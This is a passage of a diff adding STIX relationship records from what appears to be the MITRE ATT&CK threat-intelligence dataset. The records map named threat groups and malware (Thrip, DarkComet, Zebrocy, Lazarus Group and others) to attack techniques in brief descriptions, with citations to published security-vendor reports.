"description": "[Thrip](https://attack.mitre.org/groups/G0076) leveraged PowerShell to run commands to download payloads, traverse the compromised networks, and carry out reconnaissance.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--33bba084-3681-4955-861d-2ff6fe02ad9b", + "source_ref": "intrusion-set--d69e568e-9ac8-4c08-b32c-d93b43ba9172", + "modified": "2019-03-25T17:06:37.159Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Thrip June 2018", + "description": "Security Response Attack Investigation Team. (2018, June 19). Thrip: Espionage Group Hits Satellite, Telecoms, and Defense Companies. Retrieved July 10, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d8bad886-d65a-4652-811f-f8ff9f6bb6db", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.445Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--91ce1ede-107f-4d8b-bf4c-735e8789c94b", + "description": "[Proton](https://attack.mitre.org/software/S0279) prompts users for their credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0908b4ce-fcfc-4307-a887-70fc8c27da3a", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.713Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Zeus Panda](https://attack.mitre.org/software/S0330) checks processes on the system and if they meet the necessary requirements, it injects into that process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T17:59:44.519Z", + "id": "relationship--da69efe7-e99e-4d79-a455-c59f4c087b22", + "source_ref": "malware--198db886-47af-4f4c-bff5-11b891f85946", + "modified": "2019-04-16T20:55:20.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GDATA Zeus Panda June 2017", + "description": "Ebach, L. (2017, June 22). Analysis Results of Zeus.Variant.Panda. Retrieved November 5, 2018.", + "url": "https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used a modified version of ASPXSpy called ASPXTool.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.063Z", + "id": "relationship--4a1bfb6c-f110-4785-9dff-4c8e433bf04d", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.615Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Agent Tesla](https://attack.mitre.org/software/S0331) lists the current running processes on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:44:04.832Z", + "id": "relationship--431012d2-0ac4-49ba-b217-c118f0c1cf03", + "source_ref": "malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8", + "modified": "2019-04-16T14:30:35.311Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhang, X. (2017, June 28). In-Depth Analysis of A New Variant of .NET Malware AgentTesla. Retrieved November 5, 2018.", + "source_name": "Fortinet Agent Tesla June 2017", + "url": "https://www.fortinet.com/blog/threat-research/in-depth-analysis-of-net-malware-javaupdtr.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) contains a .NET wrapper DLL for creating and managing scheduled tasks for maintaining persistence upon reboot.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f120a700-dcac-4c8d-8e92-d6ba3491c2ba", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.599Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Remcos](https://attack.mitre.org/software/S0332) uses the infected hosts as SOCKS5 proxies to allow for tunneling and proxying.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T18:55:20.807Z", + "id": "relationship--5ed5deda-543f-40f7-8f5d-df8f93c545e2", + "source_ref": "tool--7cd0bc75-055b-4098-a00e-83dc8beaff14", + "modified": "2019-04-19T14:39:52.992Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Klijnsma, Y. (2018, January 23). Espionage Campaign Leverages Spear Phishing, RATs Against Turkish Defense Contractors. Retrieved November 6, 2018.", + "source_name": "Riskiq Remcos Jan 2018", + "url": "https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[DarkComet](https://attack.mitre.org/software/S0334) can access the victim\u2019s webcam to take pictures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:18:28.653Z", + "id": "relationship--30b85048-ba1f-4b43-b9bc-69c27e426039", + "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", + "modified": "2019-06-04T19:40:43.607Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro DarkComet Sept 2014", + "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.", + "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET" + }, + { + "source_name": "Malwarebytes DarkComet March 2018", + "description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", + "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6f7ca160-cd38-4ff4-b297-e95b31119e26", + "source_ref": "course-of-action--1c0b39f9-a0c5-42b2-abd8-dc8f1eb74e67", + "modified": "2019-07-24T14:40:40.020Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Carbon](https://attack.mitre.org/software/S0335) uses TCP and UDP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T19:36:02.850Z", + "id": "relationship--ae3c0dc8-de95-40bc-bced-a3c61d7ad605", + "source_ref": "malware--b7e9880a-7a7c-4162-bddb-e28e8ef2bf1f", + "modified": "2019-04-12T14:43:22.596Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Carbon Mar 2017", + "description": "ESET. (2017, March 30). Carbon Paper: Peering into Turla\u2019s second stage backdoor. Retrieved November 7, 2018.", + "url": "https://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Reaver](https://attack.mitre.org/software/S0172) installs itself as a new service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--ecca0af0-1549-4068-b01d-bab711c491c5", + "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", + "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) has the capability to download and activate additional modules for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.483Z", + "id": "relationship--10806c6b-100d-456b-bb05-62d90713be64", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "The DigiTrust Group. (2017, January 01). NanoCore Is Not Your Average RAT. Retrieved November 9, 2018.", + "source_name": "DigiTrust NanoCore Jan 2017", + "url": "https://www.digitrustgroup.com/nanocore-not-your-average-rat/" + }, + { + "description": "Kasza, A., Halfpop, T. (2016, February 09). NanoCoreRAT Behind an Increase in Tax-Themed Phishing E-mails. Retrieved November 9, 2018.", + "source_name": "PaloAlto NanoCore Feb 2016", + "url": "https://researchcenter.paloaltonetworks.com/2016/02/nanocorerat-behind-an-increase-in-tax-themed-phishing-e-mails/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) deletes files using DeleteFileW API call.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2ff304c1-9b4d-4f01-927d-53a1c339f7ab", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has injected a DLL backdoor into a file dllhost.exe.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.374Z", + "id": "relationship--c31643e8-86a3-49e4-bd69-572d7e64c7c0", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.165Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can use process hollowing to inject one of its trojans into another process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--07e8c425-2d17-48ea-98ca-40a2aac8cc10", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-07-25T14:56:46.761Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "source_name": "Unit 42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can monitor processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--a69bd4c0-ddaa-4dec-a35d-b067ae1d95fc", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", + "description": "[Zeroaccess](https://attack.mitre.org/software/S0027) is a kernel-mode rootkit.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--da6aa745-9eb5-44d9-80f8-e9f542d106d2", + "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Wyke, J. (2012, April). ZeroAccess. Retrieved July 18, 2016.", + "source_name": "Sophos ZeroAccess", + "url": "https://sophosnews.files.wordpress.com/2012/04/zeroaccess2.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) creates a scheduled task to run itself every three minutes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ce459961-3a5a-45f9-b8a4-646e9b475e19", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.482Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.", + "source_name": "Unit 42 OopsIE! Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/" + }, + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has detected security tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--3caf848c-d95b-40ae-a288-2905319e4005", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the volumes mapped on the system, and also steals files with the following extensions: .docx, .doc, .pptx, .ppt, .xlsx, .xls, .rtf, and .pdf.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--79d23451-095d-445d-a61e-3351b55eafde", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.260Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ELMER](https://attack.mitre.org/software/S0064) is capable of performing directory listings.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--10619fa8-c479-4b61-9aac-ee08f00114d1", + "source_ref": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.", + "source_name": "FireEye EPS Awakens Part 2", + "url": "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) obtains additional code to execute on the victim's machine, including the downloading of a secondary payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--24bf6b49-b492-44b0-bcc9-37bfba489d62", + "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "modified": "2019-07-17T01:18:32.676Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "source_name": "Unit42 Cannon Nov 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", + "source_name": "ESET Zebrocy May 2019", + "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--0cde085d-12ca-4cde-a99c-c37d63d7dc2e", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.861Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", + "description": "[Pupy](https://attack.mitre.org/software/S0192) can list local and remote shared drives and folders over SMB.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--1ba0b437-e809-479c-a254-172e706c3615", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.998Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b744087-9945-4a6f-91e8-9dbceda417a4", + "description": "[H1N1](https://attack.mitre.org/software/S0132) has functionality to copy itself to removable media.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5b2682dc-f64d-482b-8fc4-132dad2727d9", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:16.001Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[S-Type](https://attack.mitre.org/software/S0085) may create a .lnk file to itself that is saved in the Start menu folder. It may also create the Registry key HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ IMJPMIJ8.1{3 characters of Unique Identifier}.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d067b113-4584-419f-860b-d3184f734350", + "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "Several [Lazarus Group](https://attack.mitre.org/groups/G0032) malware families are capable of downloading and executing binaries from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.067Z", + "id": "relationship--115562b8-9d7c-435e-af6e-0be6249742d0", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:45.422Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Destructive Malware", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster Loaders", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Loaders, Installers and Uninstallers Report. Retrieved March 2, 2016.", + "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Loaders-Installers-and-Uninstallers-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2e5931ef-cc28-49e8-b0c1-7705227ee5cf", + "source_ref": "course-of-action--23bff3ce-021c-4e7a-9aee-60fd40bc7c6c", + "modified": "2019-07-25T12:03:12.940Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[CallMe](https://attack.mitre.org/software/S0077) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dbb1d0eb-c7ee-4794-80d4-66e6281cbc63", + "source_ref": "malware--cb7bcf6f-085f-41db-81ee-4b68481661b5", + "modified": "2018-10-17T00:14:20.652Z", + 